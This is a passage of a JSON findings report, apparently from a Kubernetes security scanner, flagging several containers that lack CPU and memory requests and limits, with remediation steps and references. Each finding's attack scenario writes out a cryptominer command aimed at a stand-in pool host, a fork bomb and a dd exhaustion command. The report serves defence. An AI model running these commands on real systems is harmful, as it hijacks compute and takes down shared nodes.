      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:vulnerable:root-runner:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Deployment/vulnerable/root-runner` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Deployment/vulnerable/root-runner` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "root-runner",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/root-runner`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n vulnerable --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:vulnerable:socket-mounts-app:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Deployment/vulnerable/socket-mounts-app` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Deployment/vulnerable/socket-mounts-app` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "socket-mounts-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/socket-mounts-app`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n vulnerable --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Pod:foothold-exec:foothold-decoy:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Pod/foothold-exec/foothold-decoy` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Pod/foothold-exec/foothold-decoy` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Pod",
      "name": "foothold-decoy",
      "namespace": "foothold-exec"
    },
    "namespace": "foothold-exec",
    "scope": {
      "level": "workload",
      "detail": "Workload `Pod/foothold-exec/foothold-decoy`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n foothold-exec --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Pod:foothold-exec:foothold-target:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Pod/foothold-exec/foothold-target` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Pod/foothold-exec/foothold-target` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Pod",
      "name": "foothold-target",
      "namespace": "foothold-exec"
    },
    "namespace": "foothold-exec",
    "scope": {
      "level": "workload",
      "detail": "Workload `Pod/foothold-exec/foothold-target`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n foothold-exec --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Job:gw-workloads:gw-batch:batch",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `batch` in `Job/gw-workloads/gw-batch` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `batch` in workload `Job/gw-workloads/gw-batch` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Job",
      "name": "gw-batch",
      "namespace": "gw-workloads",
      "api_group": "batch"
    },
    "namespace": "gw-workloads",
    "scope": {
      "level": "workload",
      "detail": "Workload `Job/gw-workloads/gw-batch`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `batch` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "batch",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `batch` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n gw-workloads --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `batch`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:local-path-storage:local-path-provisioner:local-path-provisioner",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `local-path-provisioner` in `Deployment/local-path-storage/local-path-provisioner` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `local-path-provisioner` in workload `Deployment/local-path-storage/local-path-provisioner` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "local-path-provisioner",
      "namespace": "local-path-storage",
      "api_group": "apps"
    },
    "namespace": "local-path-storage",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/local-path-storage/local-path-provisioner`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `local-path-provisioner` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "local-path-provisioner",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `local-path-provisioner` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n local-path-storage --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `local-path-provisioner`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
